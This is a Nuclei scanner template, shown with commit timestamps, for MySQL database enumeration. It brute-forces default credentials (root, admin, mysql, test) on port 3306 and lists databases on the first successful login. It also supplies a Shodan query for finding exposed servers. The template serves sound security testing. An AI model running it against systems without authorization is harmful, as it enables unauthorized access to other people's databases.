Files
nuclei-templates/javascript/enumeration/mysql/mysql-show-databases.yaml

54 lines
1.2 KiB
YAML
Raw Normal View History

id: mysql-show-databases
info:
name: MySQL - Show Databases
author: DhiyaneshDk
severity: high
reference:
- https://nmap.org/nsedoc/scripts/mysql-databases.html
metadata:
verified: true
max-request: 16
shodan-query: "port:3306"
2024-03-22 15:40:06 +05:30
tags: js,mysql,network,enum
javascript:
2024-07-10 17:38:01 +05:30
- pre-condition: |
isPortOpen(Host,Port);
code: |
let m = require('nuclei/mysql');
let c = m.MySQLClient();
let response = c.ExecuteQuery(Host,Port,User,Pass,Query);
2024-03-10 00:02:19 +05:30
Export(response);
args:
Host: "{{Host}}"
Port: "3306"
Query: "show databases;"
User: "{{usernames}}"
Pass: "{{passwords}}"
payloads:
2024-03-22 15:40:06 +05:30
usernames:
- root
- admin
- mysql
2024-03-22 19:41:12 +05:30
- test
2024-03-22 15:40:06 +05:30
passwords:
- root
- admin
2024-03-22 19:41:12 +05:30
- mysql
- test
2024-03-22 15:40:06 +05:30
attack: clusterbomb
2024-03-22 15:40:06 +05:30
stop-at-first-match: true
matchers:
- type: dsl
dsl:
- "success == true"
extractors:
- type: json
part: response
json:
- .Rows[] | .Database
2024-12-01 13:57:55 +00:00
# digest: 490a00463044022034f91bcda0f9492e0126ca59d24f759224cfb18cebe611d5bb52b53d79b31f33022045334fbdcccdd05926ee37ec1c7372429c317905f6cc5b3c4aac427511c27f16:922c64590222798bb761d5b6d8e72950